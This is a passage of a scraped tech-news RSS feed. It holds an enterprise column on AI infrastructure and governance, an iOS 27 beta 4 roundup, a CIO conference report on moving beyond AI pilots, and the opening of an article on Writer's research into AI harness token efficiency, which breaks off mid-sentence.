<p class="wp-block-paragraph">That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?</p>



<p class="wp-block-paragraph">To me, these are not model problems. They are infrastructure problems.</p>



<p class="wp-block-paragraph">This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/seizing-the-agentic-ai-advantage">McKinsey</a> has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.</p>



<p class="wp-block-paragraph">AI pilots can survive on enthusiasm. Production AI requires architecture.</p>



<h2 class="wp-block-heading">AI is becoming an integration problem</h2>



<p class="wp-block-paragraph">The more I look at enterprise AI, the more it feels like an integration challenge.</p>



<p class="wp-block-paragraph">In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.</p>



<p class="wp-block-paragraph">AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.</p>



<p class="wp-block-paragraph">That is why the CIO question is changing.</p>



<p class="wp-block-paragraph">It is no longer just, “Which AI tool should we buy?”</p>



<p class="wp-block-paragraph">It is becoming, “Can we safely operationalize intelligence across the business?”</p>



<p class="wp-block-paragraph">This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.</p>



<p class="wp-block-paragraph">A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.</p>



<p class="wp-block-paragraph">For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.</p>



<p class="wp-block-paragraph">If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.</p>



<p class="wp-block-paragraph">That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.</p>



<h2 class="wp-block-heading">Latency will become a trust issue</h2>



<p class="wp-block-paragraph">In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.</p>



<p class="wp-block-paragraph">When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.</p>



<p class="wp-block-paragraph">This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.</p>



<p class="wp-block-paragraph">Each step adds latency. Each dependency adds a possible failure point.</p>



<p class="wp-block-paragraph">A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.</p>



<p class="wp-block-paragraph">This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.</p>



<p class="wp-block-paragraph">Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.</p>



<h2 class="wp-block-heading">Observability has to expand</h2>



<p class="wp-block-paragraph">Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?</p>



<p class="wp-block-paragraph">AI needs that, but it also needs more.</p>



<p class="wp-block-paragraph">We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.</p>



<p class="wp-block-paragraph">We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.</p>



<p class="wp-block-paragraph">In production AI, observability is not only about uptime. It is about confidence.</p>



<p class="wp-block-paragraph">If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.</p>



<p class="wp-block-paragraph">This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.</p>



<h2 class="wp-block-heading">Data readiness is still underestimated</h2>



<p class="wp-block-paragraph">AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.</p>



<p class="wp-block-paragraph">Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.</p>



<p class="wp-block-paragraph">AI does not fix that automatically. In many cases, it makes the problem more visible.</p>



<p class="wp-block-paragraph">A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.</p>



<p class="wp-block-paragraph">That is a real risk.</p>



<p class="wp-block-paragraph">Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.</p>



<p class="wp-block-paragraph">The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “<a href="https://www.techrxiv.org/doi/full/10.36227/techrxiv.175433366.65304469/v1">Enabling Fault-Tolerant Multicast in Cloud-Native Architectures</a>” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.</p>



<p class="wp-block-paragraph">CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.</p>



<h2 class="wp-block-heading">Security cannot be added later</h2>



<p class="wp-block-paragraph">As AI moves from answering questions to acting, security becomes much more important.</p>



<p class="wp-block-paragraph">An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.</p>



<p class="wp-block-paragraph">The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.</p>



<p class="wp-block-paragraph">Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.</p>



<p class="wp-block-paragraph">AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST</a> AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.</p>



<p class="wp-block-paragraph">Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.</p>



<h2 class="wp-block-heading">The CIO has to define the operating model</h2>



<p class="wp-block-paragraph">AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.</p>



<p class="wp-block-paragraph">The CIO sits in the middle of all of it.</p>



<p class="wp-block-paragraph">That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.</p>



<p class="wp-block-paragraph">That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?</p>



<p class="wp-block-paragraph">This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.</p>



<p class="wp-block-paragraph">The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.</p>



<p class="wp-block-paragraph">They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.</p>



<p class="wp-block-paragraph">The model still matters. But the enterprise behind the model matters more.</p>



<p class="wp-block-paragraph">A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.</p>



<p class="wp-block-paragraph">That is the shift CIOs need to lead.</p>



<p class="wp-block-paragraph">The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[iOS 27 Beta: Everything You Need to Know About Beta 4]]></title>
<description><![CDATA[Apple has released iOS 27 beta 4 for registered developers, continuing its testing cycle before the final update arrives later in 2026. The latest build focuses on interface refinements, Siri changes, AirPods controls, system indexing, accessibility features, and several fixes to Liquid Glass ele...]]></description>
<link>https://tsecurity.de/de/3683052/ios-mac-os/ios-27-beta-everything-you-need-to-know-about-beta-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683052/ios-mac-os/ios-27-beta-everything-you-need-to-know-about-beta-4/</guid>
<pubDate>Tue, 21 Jul 2026 10:39:52 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released iOS 27 beta 4 for registered developers, continuing its testing cycle before the final update arrives later in 2026. The latest build focuses on interface refinements, Siri changes, AirPods controls, system indexing, accessibility features, and several fixes to Liquid Glass elements.



iOS 27 beta 4 carries build number 24A5390f and arrived on July 20, 2026, alongside new beta versions of iPadOS 27, macOS 27, watchOS 27, tvOS 27, and visionOS 27.



The update follows the first iOS 27 public beta, which became available on July 13. Developer beta 4 is newer than the current public beta, although Apple often releases an updated public build after completing additional testing.



iOS 27 Beta 4 at a Glance



DetailInformationSoftware versioniOS 27 developer beta 4Build number24A5390fRelease dateJuly 20, 2026AvailabilityRegistered developersPublic betaAvailable, but currently on an earlier buildFinal releaseExpected later in 2026Main focusSiri, Liquid Glass, AirPods controls, accessibility, interface fixes



What Is New in iOS 27 Beta 4?



New Siri Splash Screen







Siri receives a refreshed splash screen in beta 4, giving Apple’s redesigned assistant a clearer visual introduction when users open it for the first time.



The interface follows the wider Siri AI design used throughout iOS 27, with brighter visual effects, updated text placement, and stronger links to Apple Intelligence features. Apple says Siri AI will initially launch in English on supported Apple Intelligence devices later this year.



Beta 4 also updates parts of the Siri voice-selection interface. Regional accents and voice choices now appear in a more visual layout, while supported devices display additional personalisation options.



Dark Widgets Have Better Contrast







Apple has adjusted dark widgets to make text, icons, and controls easier to see. Earlier iOS 27 builds sometimes placed dark text or low-contrast elements over transparent widget backgrounds, especially when users selected tinted or dark Home Screen styles.



Beta 4 increases contrast without removing the layered Liquid Glass appearance. The change improves readability on bright wallpapers and on displays with reduced brightness.



One-Tap Paste Gets a Visual Refresh







The One-Tap Paste interface now has an updated appearance when users paste photos or links. The preview card follows the rounded Liquid Glass design more closely and provides a clearer indication of the content that will be inserted.



This change affects situations where an app requests access to copied content, including images, website links, and other supported clipboard data.



Notification Center Wallpaper Cutout Removed



Apple has removed the wallpaper cutout effect that appeared when users swiped down to open Notification Center.



In beta 3, the main subject of certain wallpapers remained visually separated from the background during the swipe animation. Beta 4 returns to a more traditional transition, which reduces visual movement and avoids occasional clipping around people, pets, and objects.



The smoother wallpaper animation introduced earlier remains available, although the floating cutout effect no longer appears.



Lock Screen Shortcut Appearance Restored







Beta 4 reverses an earlier reduction in the Liquid Glass appearance of Lock Screen shortcuts while Light Mode is active.



The flashlight and camera buttons once again use a stronger transparent glass effect, with brighter highlights and more visible depth. Apple continues to adjust these controls because readability changes significantly depending on the wallpaper colour and display mode.



Blur Returns to App Library and Today View



Background blur has returned to the App Library and Today View after being reduced or removed in earlier beta builds.



The restored blur separates icons and widgets from the wallpaper while preserving some background colour. This makes app names, folders, search controls, and widget text easier to read without replacing the transparent design with a fully solid background.



Volume Slider Is More Transparent



The system volume slider now uses a more transparent Liquid Glass design. Users can see more of the underlying content while adjusting media volume through Control Center.



Apple has also refined the slider edges, fill animation, and background layer so the control matches other iOS 27 interface elements.



AirPods Controls Get Liquid Glass Sliders







AirPods controls in Control Center now use redesigned Liquid Glass sliders. The controls appear when compatible AirPods are connected and provide access to supported audio modes and settings.



The layout uses clearer labels, transparent slider tracks, and larger touch areas, making the controls easier to adjust without opening the Settings app.



Adaptive Audio Slider Comes to Control Center



AirPods users can now access the Adaptive Audio slider directly from Control Center. This setting lets users adjust how strongly Adaptive Audio balances environmental sound with active noise control.



The slider provides more control than a simple on-or-off switch, allowing users to choose how much outside sound they want to hear. Available options still depend on the connected AirPods model and installed firmware.



Apple also plans to bring Custom EQ controls to supported AirPods, allowing users to adjust low, mid, and high frequencies.



System Indexing Returns



System indexing has returned in beta 4 after being limited or unavailable for some users in earlier builds.



After installation, an iPhone can temporarily use more battery power and become warmer while it rebuilds search indexes for apps, messages, photos, files, and other content. Search results and Siri suggestions can remain incomplete until this process finishes.



Users should leave the iPhone connected to power and Wi-Fi for several hours after updating, especially when the device contains a large photo library or many installed apps.



Wheelchair Control Renamed to Look to Drive



Apple has renamed the upcoming Wheelchair Control accessibility feature to “Look to Drive.”



The feature uses eye movement and supported hardware to help users control compatible powered wheelchairs. The new name describes the interaction more clearly and separates it from other wheelchair-related accessibility settings.



Because the feature remains under development, its name, supported devices, and availability can change before the public release.



Other Changes Found in Beta 4



The latest beta also includes several smaller additions and adjustments:




Photos includes an option that slightly enlarges near-full-screen images so they fill the display.



Siri settings provide more control over text-preview length.



An accessibility option can keep spoken Siri requests visible as text.



Camera settings include support for selecting ProRes Log 2 on compatible models.



Wi-Fi Assist can be managed more precisely for saved networks.



Automatic Apple TV downloads can save upcoming episodes and remove watched downloads.



Internal files continue to reveal unfinished features across Apple’s operating systems.




An internal README file also appeared inside the tvOS 27 beta 4 Podcasts app package. This appears to be a development file that Apple accidentally included and does not provide a user-facing feature.



iOS 27 Supported iPhones



iOS 27 supports the following iPhone families:



iPhone generationSupported modelsiPhone 17iPhone 17, 17e, Air, 17 Pro, 17 Pro MaxiPhone 16iPhone 16, 16 Plus, 16e, 16 Pro, 16 Pro MaxiPhone 15iPhone 15, 15 Plus, 15 Pro, 15 Pro MaxiPhone 14iPhone 14, 14 Plus, 14 Pro, 14 Pro MaxiPhone 13iPhone 13, 13 mini, 13 Pro, 13 Pro MaxiPhone 12iPhone 12, 12 mini, 12 Pro, 12 Pro MaxiPhone 11iPhone 11, 11 Pro, 11 Pro MaxiPhone SESecond generation and later



Apple confirms that iOS 27 supports the iPhone 11 series and newer models, along with the second-generation iPhone SE and later.



Some Siri AI and Apple Intelligence features require newer hardware. Apple Intelligence support includes the iPhone 15 Pro models, every iPhone 16 model, and later supported devices.



How to Install iOS 27 Beta 4



Registered developers can install the update through the Settings app:




Back up the iPhone using iCloud or a computer.



Open Settings.



Select General.



Tap Software Update.



Open Beta Updates.



Select iOS 27 Developer Beta.



Return to the update screen.



Tap Update Now.




The Apple Account signed in on the iPhone must have access to the developer beta channel.



Public beta users should remain on the iOS 27 Public Beta option unless they specifically need developer builds for testing. Developer releases can contain unfinished features, app compatibility problems, faster battery drain, unexpected restarts, and broken system functions.



Should You Install iOS 27 Beta 4?



Beta 4 brings useful visual corrections and restores several effects that Apple changed during earlier testing. Siri, widgets, Notification Center, App Library, AirPods controls, and system search all receive noticeable attention.



However, this remains pre-release software. Users who depend on their iPhone for banking, work authentication, travel, health devices, or other important tasks should wait for a later public beta or the final release.



Users already running an iOS 27 developer beta should install beta 4 because it includes the latest system fixes and testing changes. After updating, allow time for indexing to complete before judging battery life, heat, search performance, or overall stability.]]></content:encoded>
</item>
<item>
<title><![CDATA[CIO 100 Leadership Live New York: CIOs push past AI pilots for measurable returns]]></title>
<description><![CDATA[Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for CIO 100 Leadership Live New York, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.



Several key areas of consen...]]></description>
<link>https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</guid>
<pubDate>Tue, 21 Jul 2026 01:07:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York</a>, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.</p>



<p class="wp-block-paragraph">Several key areas of consensus emerged throughout this highly interactive event. Infrastructure fragmentation continues to block the path to securing returns on AI investments prompting leaders to understand rising cloud spend attributed to large language model utilization. This has caused a growing number of organizations to refocus on on-premises and hybrid options in C-suite and board-level capital planning conversations. Speakers, along with comments from the audience, described a shift from project thinking to product thinking, with smaller multidisciplinary teams moving faster than legacy structures.</p>



<p class="wp-block-paragraph">Several participants repeatedly warned that automating broken processes just amplifies dysfunction. Governance and measurement remain unresolved, with usage metrics still getting mistaken for business value. One of the panels explored how CIOs may benefit from applying venture capital-style scrutiny to enterprise bets, weighing team execution as heavily as the technology itself. The throughline was a redefinition of the CIO role, from technology executor to business strategist fluent in revenue, board engagement, and transformation ownership.</p>



<h2 class="wp-block-heading">Morning roundtable tackles AI infrastructure</h2>



<p class="wp-block-paragraph">The day opened with an invitation-only executive breakfast roundtable, “Beyond the Pilot, Building the Infrastructure for Real AI Returns,” co-hosted by Unisys and Dell Technologies. Over a dozen executives representing major public and private sector organizations across the New York metropolitan area joined Steve Hollander, senior director of Americas global alliances at Dell Technologies, and Matt Marshall, CIO at Unisys for a workshop-style discussion.</p>



<p class="wp-block-paragraph">The session explored the strategic, operational, financial, and technological issues that must be mastered to optimize infrastructure decisions and separate organizations that are experimenting with AI from those competing on it. Discussion questions probed how CIOs measure whether AI investment is translating into business results, how they can break the cycle of fragmented and siloed AI deployments, how boards are beginning to scrutinize seven-figure token spend and whether on-premises or hybrid infrastructure can rein in costs.</p>



<p class="wp-block-paragraph">The take-home point: the organizations pulling ahead are the ones that stopped treating AI as four separate problems, strategic, operational, financial, technological, owned by four separate functions, and started running it as one coordinated decision. Fragmentation is the actual cost center here, not the token spend itself. A CIO who solves the infrastructure question in isolation from the governance question, or the cost question in isolation from the talent question, ends up optimizing one silo while the other three keep bleeding value. Competing on AI, instead of just experimenting with it, means the finance, operations, technology and business sides are reasoning from the same picture of what’s being built and why, so the tradeoffs get made once, together, instead of getting re-litigated at every handoff.</p>



<h2 class="wp-block-heading">Forum sessions open with a mandate for growth</h2>



<p class="wp-block-paragraph">Following breakfast, the main forum program began with “The New CIO Mandate, Delivering Growth, Not Just Technology.” In a moderated conversation, Laksh Nathan, chief information officer at Paramount Skydance, drew on his experience with mergers, enterprise transformation and AI-enabled development to describe a shift from project and application management toward a product-centric operating model. Nathan addressed how smaller, multidisciplinary teams are changing expectations on both the business and technology sides of the enterprise, and what mindset changes CIOs must lead to turn AI into an engine of growth rather than a cost center.</p>



<p class="wp-block-paragraph">PwC followed with a session on “Designing the Intelligent Enterprise, From AI Investment to Evolving Operations.” Darren O’Meara, principal and chief technology officer for managed services, and Meghna Shah, principal for engineering and AI, examined why fragmented outcomes persist even after heavy investment in technology and transformation.</p>



<p class="wp-block-paragraph">The intelligent enterprise, they posited, is less about working toward achieving specific technology outcomes and more about creating operating models that integrate strategy, technology, operations, and governance into one system. This, they explained, requires linking AI, data, and decisions across the business and will leave an indelible mark on how decision rights are redesigned, funding models are developed, and accountability is enforced to accommodate the speed of the agentic economy.</p>



<h2 class="wp-block-heading">Talent, tradeoffs, and the cost of getting it wrong</h2>



<p class="wp-block-paragraph">The session “Return on Transformation: Time, Talent, and Tradeoffs” — with Prashant Hinge, chief information and transformation officer at MSIG USA; Joseph Gimigliano, chief technology officer at Northwell Health; and Eduard de Vries Sands, AI executive advisor at PatientPoint — examined why transformation initiatives so often lose their way.</p>



<p class="wp-block-paragraph">The main culprit, even today in 2026, continues to revolve around a persistent instinct for technology implementations to become the objective rather than the means to a measurable business outcome. The panelists made the case for doing the incredibly difficult work of re-engineering (if not entirely re-imagining) existing processes before automating them and then placing smaller bets inside that bigger vision.</p>



<p class="wp-block-paragraph">Ricky Thakrar, head of sales and account management at Zoho, took the stage to present “Smaller, Smarter, Safer, The Enterprise AI Architecture Most Leaders Get Backwards,” arguing that constrained, context-rich architectures consistently outperform expensive models bolted onto fragmented systems.</p>



<p class="wp-block-paragraph">A round of Hot Topic Discussion Groups and a networking lunch followed, including the Next CIO Luncheon featuring Robert Half Regional Director Jason Deneu.</p>



<h2 class="wp-block-heading">Afternoon sessions turn to security, scale, and investment signals</h2>



<p class="wp-block-paragraph">CSO and CIO Contributor Joan Goodchild moderated “Securing Trust in the Agentic Economy,” a discussion with Marlowe Cochran, CISO at the New York State Education Department, and Gee Rittenhouse, vice president of security services at AWS, on how organizations are balancing speed, innovation and security as AI agents move from experimentation into productization at scale.</p>



<p class="wp-block-paragraph">Rittenhouse framed agentic risk as closer to human risk than traditional software risk, describing how an independent agent acting in a non-deterministic way really does look like a potential insider threat, pushing CISOs toward behavioral monitoring over static workload protection. He tied this to a structural shift in defense, noting it’s hard to do agentic security if you’re not observing it, putting observability at the center of agentic risk management.</p>



<p class="wp-block-paragraph">Cochran concurred, adding that many of the key tools that are needed to move into the agentic economy already exist, but must be implemented more aggressively, comprehensively and even more creatively. CISOs don’t need to invent an entirely new security discipline for the agentic era so much as extend identity management, access control and monitoring frameworks they already run to cover a new class of non-human actor — agents.</p>



<p class="wp-block-paragraph">A session on “AI, From Experimentation to Enterprise Impact” brought together Meagan Gentry, national AI practice manager and distinguished technologist at Insight and Yuri Gubin, chief technology officer at DataArt, for a candid look at why pilots stall before reaching scaled production and what operating capabilities, governance, cost visibility, continuous education, must be in place to sustain AI once a proof of concept works.</p>



<p class="wp-block-paragraph">During the session’s Q&amp;A segment, a discussion emerged around how proof-of-concept success can result in a false signal, raising questions about whether pilots should be considered successful before the intended outcomes have had time to materialize, and drawing a distinction between measuring usage and adoption versus measuring business value.</p>



<p class="wp-block-paragraph">The panelists explored how CIOs can identify the small number of transformational AI opportunities worth pursuing rather than managing hundreds of incremental use cases, and even challenged whether prioritization is the CIO’s job at all. The discussion closed on a sequencing question with real strategic weight, whether AI-first strategies are putting the technology ahead of the business problem CIOs are trying to solve, and what role CIOs should play with boards in defining the outcomes AI is expected to support.</p>



<h2 class="wp-block-heading">A shift in perspectives</h2>



<p class="wp-block-paragraph">The “Think Like a VC, Investment Shifts Towards Focused AI Applications” session featured three venture investors, Aaron Darr, partner at Lead Edge; Isabelle Phelps, partner at Lerer Hippeau; and Marshall Porter, general partner at AlleyCorp. The panel explored how investors evaluate risk and talent in a market where products and competitive positions can shift within months, and what separates a focused AI application with durable enterprise value from an AI wrapper built to chase a trend.</p>



<p class="wp-block-paragraph">The panel challenged the enterprise instinct to seek certainty in a market moving this fast, questioning whether CIOs should stop looking for technologies that will future-proof the enterprise and instead grow more comfortable continuously reassessing their bets. Investors framed this as a deliberate departure from the traditional low-tolerance-for-failure posture that has long governed enterprise technology purchasing, arguing that the search for certainty has itself become a risk in a market where products and business models can shift within months. The discussion pressed CIOs to weigh how they can adopt a more dynamic investment mindset without compromising the enterprise security, governance and accountability their organizations still depend on.</p>



<p class="wp-block-paragraph">A Lightning Insights followed, featuring five-minute briefings from Insight, Platform9 and Console, followed by Keystone Senior Principal Ellora Sarkar’s talk on why most enterprise AI investment fails to produce measurable value and what separates the small share of firms capturing real return on investment from the majority still stuck in pilots.</p>



<h2 class="wp-block-heading">Closing the day</h2>



<p class="wp-block-paragraph">The forum closed with “What’s Next for the CIO, Preparing for the Next 12 to 24 Months,” a fireside conversation with Leif Maiorini, CIO for corporate services at Omnicom. Maiorini discussed why business processes need to be redesigned for agentic speed rather than automated around existing human workflows, how organizational structures may shift as autonomous agents reshape visibility and decision support, and where sustainable differentiation will come from once AI capability itself becomes widely accessible.</p>



<p class="wp-block-paragraph">Maiorini encouraged the industry to clearly distinguish between nondifferentiated services that should be made as efficient as possible and the differentiated capabilities that actually influence why customers choose to do business with an organization, once the major efficiency gains from optimization and AI have been captured.</p>



<p class="wp-block-paragraph">He was candid about the governance gap agentic systems open up, noting that agents lack the professional reputation, personal accountability and inherent constraints that shape human behavior, which creates new risk when autonomous decisions occur at machine speed. That combination, reinvesting efficiency gains into genuine differentiation while building governance models suited to non-human decision-makers, framed his closing case for why human creativity and judgment remain the enterprise’s most durable asset even as the underlying technology becomes commoditized.</p>



<p class="wp-block-paragraph"><strong><em>Join the CIO 100 Awards &amp; Conference Aug 17–19, 2026 at Omni PGA Frisco Resort &amp; Spa, Frisco, TX — where top IT leaders celebrate innovation and connect.  <a href="https://event.foundryco.com/cio100-symposium-and-awards/?utm_medium=editorial&amp;utm_source=cio100_foundry_research&amp;utm_campaign=cio_100_research_foundry&amp;utm_term=4/8/2026-8/19//2026&amp;utm_content=editorial">Learn more to attend or partner</a>.</em></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy]]></title>
<description><![CDATA[Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.A new paper from researchers at Writer provides a solution that is accessible to engineer...]]></description>
<link>https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</guid>
<pubDate>Mon, 20 Jul 2026 23:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.</p><p>A <a href="https://arxiv.org/abs/2607.06906">new paper</a> from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. </p><p>By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.</p><p>Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.</p><h2>The ROI crisis of tokenmaxxing</h2><p>The current state of AI engineering is plagued by "<a href="https://blog.pragmaticengineer.com/the-pulse-tokenmaxxing-as-a-weird-new-trend/">tokenmaxxing</a>," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. </p><p>Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. </p><p>"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. </p><p>"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."</p><p>Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.</p><p>The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: </p><ul><li><p><b></b><a href="https://venturebeat.com/data/context-compression-finally-works-in-production-new-research-cuts-llm-input-16x-without-the-accuracy-hit"><b>Prompt compression</b></a> condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. </p></li><li><p><b>Budgeted reasoning</b> caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. </p></li><li><p><b>Terse coding</b> forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. </p></li><li><p><a href="https://venturebeat.com/data/together-ais-atlas-adaptive-speculator-delivers-400-inference-speedup-by"><b>Speculative decoding</b></a> uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.</p></li></ul><p>These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.</p><h2>Unpacking the harness: the levers of efficiency</h2><p>The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.</p><p>The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. </p><p>As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”</p><p>Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. </p><p>For enterprises, this reframes the "own-versus-rent" decision. </p><p>"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." </p><h2>Inside the experiments</h2><p>To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 